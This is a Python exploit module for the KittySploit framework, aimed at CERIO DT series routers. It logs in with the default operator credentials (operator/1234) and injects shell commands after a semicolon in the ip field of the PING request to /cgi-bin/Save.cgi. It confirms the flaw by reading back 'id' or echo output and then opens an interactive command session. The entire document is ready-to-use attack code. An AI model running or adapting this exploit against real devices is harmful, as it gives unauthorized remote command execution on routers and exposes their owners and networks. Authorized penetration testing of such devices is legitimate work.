CERIO DT - Save.cgi Command Injection RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CERIO DT series router Save.cgi command injection — execute session."""

from __future__ import annotations

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'CERIO DT - Save.cgi Command Injection RCE',
        'description': (
            'Exploits command injection in the ip field of /cgi-bin/Save.cgi (PING operation) '
            'on CERIO DT series routers. Requires default operator credentials. '
            'Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://github.com/20142995/sectool',
            'https://github.com/tanjiti/sec_profile',
        ],
        'tags': ['cerio', 'router', 'iot', 'rce', 'cmdi', 'default-creds'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'suggested_followups': ['scanner/http/cerio_dt_rce_detect'],
            },
        },
    }

    username = OptString('operator', 'HTTP Basic username', False, advanced=True)
    password = OptString('1234', 'HTTP Basic password', False, advanced=True)

    def _auth_header(self) -> dict[str, str]:
        import base64

        creds = base64.b64encode(
            f'{self.username}:{self.password}'.encode()
        ).decode()
        return {'Authorization': f'Basic {creds}'}

    def execute(self, cmd: str) -> str:
        data = f'pid=2061&ip=127.0.0.1;{quote(str(cmd), safe="")}&times=1'
        headers = {
            **self._auth_header(),
            'Content-Type': 'application/x-www-form-urlencoded',
        }
        r = self.http_request(
            method='POST',
            path='/cgi-bin/Save.cgi?cgi=PING',
            data=data,
            headers=headers,
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CERIO DT Save.cgi RCE confirmed via id output',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'Save.cgi did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()